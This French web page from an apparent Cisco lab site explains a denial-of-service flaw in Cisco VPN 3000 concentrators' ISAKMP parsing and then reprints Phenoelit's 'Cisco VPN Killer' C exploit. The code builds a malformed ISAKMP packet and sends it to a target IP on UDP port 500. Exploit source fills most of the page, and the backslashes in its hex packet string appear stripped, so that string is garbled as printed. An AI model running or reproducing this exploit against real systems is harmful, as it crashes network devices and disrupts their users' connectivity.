• Français
23-11-2008
 
 
Le Laboratoire
forum
Menu principal
Accueil
News
Tips
Articles
Letterman Subscribe




DoS d'un Concentrateur Cisco
Écrit par labo-cisco   
10-01-2003
DoS du Concentrateur VPN 3000 ISAMKP de Cisco Il existe une faille lors du parsage du champs d'identification du paquet ISAMKP initial. Alors que tous les autres champs TLV sont ok pour leur parsage, le champs d'identification sera accepter avec une longueur minimale de 4 bytes. Le concentrateur copiera une seulement la longueur - 4, ce qui fonctionnera sur un espace mémoire non initialisé/ non alloué. Il peut aussi survenir des dépassement de capacité.


#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>

#define SPLASH
"Phenoelit Cisco VPN Killer "
" Cisco VPN Concentrator 3000 DoS (3.6.0 and below) "
" (C) 2002 - nowin of Phenoelit < Cet e-mail est protégé contre les robots collecteurs de mails, votre navigateur doit accepter le Javascript pour le voir > "
" FX of Phenoelit < Cet e-mail est protégé contre les robots collecteurs de mails, votre navigateur doit accepter le Javascript pour le voir > "

struct {
struct in_addr dest;
int sfd;
} cfg;

void *smalloc(size_t s);
int send500(char *packet, int len);

char fixed_ISAKMP[] =
"xf0x0dxf0x0dxf0x0dxf0x0dx00x00x00x00x00x00x00x00x01"
"x10x04x00x00x00x00x00x00x00x0FxFFx04x00x01x34x00x00"
"x00x01x00x00x00x01x00x00x01x28x01x01x00x08x03x00x00"
"x24x01x01x00x00x80x01x00x05x80x02x00x02x80x04x00x02"
"x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4x9bx03"
"x00x00x24x02x01x00x00x80x01x00x05x80x02x00x01x80x04"
"x00x02x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4"
"x9bx03x00x00x24x03x01x00x00x80x01x00x05x80x02x00x02"
"x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00x04x00"
"x20xc4x9bx03x00x00x24x04x01x00x00x80x01x00x05x80x02"
"x00x01x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00"
"x04x00x20xc4x9bx03x00x00x24x01x01x00x00x80x01x00x01"
"x80x02x00x02x80x04x00x02x80x03xfdxe9x80x0bx00x01x00"
"x0cx00x04x00x20xc4x9bx03x00x00x24x02x01x00x00x80x01"
"x00x01x80x02x00x01x80x04x00x02x80x03xfdxe9x80x0bx00"
"x01x00x0cx00x04x00x20xc4x9bx03x00x00x24x03x01x00x00"
"x80x01x00x01x80x02x00x02x80x04x00x02x80x03x00x01x80"
"x0bx00x01x00x0cx00x04x00x20xc4x9bx00x00x00x24x04x01"
"x00x00x80x01x00x01x80x02x00x01x80x04x00x02x80x03x00"
"x01x80x0bx00x01x00x0cx00x04x00x20xc4x9bx0ax00x00x84"
"x41x6Ex64x20x50x68x65x6Ex6Fx65x6Cx69x74x20x73x61x79"
"x73x3Ax20x54x68x69x73x20x62x75x67x20x69x73x20x61x77"
"x61x72x64x65x64x20x74x6Fx20x53x65x61x6Ex20x43x6Fx6E"
"x76x65x72x79x20x66x6Fx72x20x65x78x63x65x6Cx6Cx65x6E"
"x63x65x20x69x6Ex20x63x6Fx70x79x20x61x6Ex64x20x70x61"
"x73x74x65x2Ex20x47x72x65x65x74x73x3Ax20x48x61x6Cx76"
"x61x72x2Cx52x69x6Cx65x79x2Cx4Ex69x63x6Fx26x53x65x62"
"x61x73x74x69x65x6Ex2Ex2Ex2E"
"x05x00x00x18 -==| PHENOELIT |==-"
"x00x00x00x04x0bx11x01xf4 Eat this and die!"
;

int main(int argc, char **argv) {
char option;
extern char *optarg;

int plen;
char *c;

printf("%s ",SPLASH);

memset(&cfg,0,sizeof(cfg));
while ((option=getopt(argc,argv,"d:"))!=EOF) {
switch (option) {
case 'd': if (inet_aton(optarg,&(cfg.dest))==0) {
fprintf(stderr,"Address of -d argument not IP ");
return (1);
}
break;
default: fprintf(stderr,"%s -d <ip_address> ",argv[0]);
return (1);
}
}

if (!(*((u_int32_t *)&(cfg.dest)))) {
fprintf(stderr,"%s -d <ip_address> ",argv[0]);
return (1);
}

plen=sizeof(fixed_ISAKMP)-1;
c=(char *)smalloc(plen);
memcpy(c,fixed_ISAKMP,sizeof(fixed_ISAKMP)-1);

send500(c,plen);

printf("Packet sent. ");

free (c);
return 0;
}

int send500(char *packet, int len) {
struct sockaddr_in sin;

if ((cfg.sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
perror("socket()");
return (-1);
}

memset(&sin,0,sizeof(struct sockaddr_in));
sin.sin_family=PF_INET;
sin.sin_port=htons(500);
memcpy(&(sin.sin_addr),&(cfg.dest),sizeof(sin.sin_addr));
if (sendto(cfg.sfd,packet,len,0,
(struct sockaddr *)&sin,
sizeof(struct sockaddr_in))<=0) {
perror("sendto()");
return (-1);
}

return (0);

}

void *smalloc(size_t s) {
void *p;

if ((p=malloc(s))==NULL) {
fprintf(stderr,"smalloc(): fatal! Allocation of %u bytes failed ",s);
exit (-1);
}
memset(p,0,s);
return p;
}

Dernière mise à jour : ( 10-01-2003 )
 
< Précédent   Suivant >
CLTE - Moteur de tests en ligne
Le CLTE est le moteur de tests en ligne du Laboratoire SUPINFO des Technologies Cisco.
Connectez-vous ! Création d'un compte gratuit
 
Top! Top!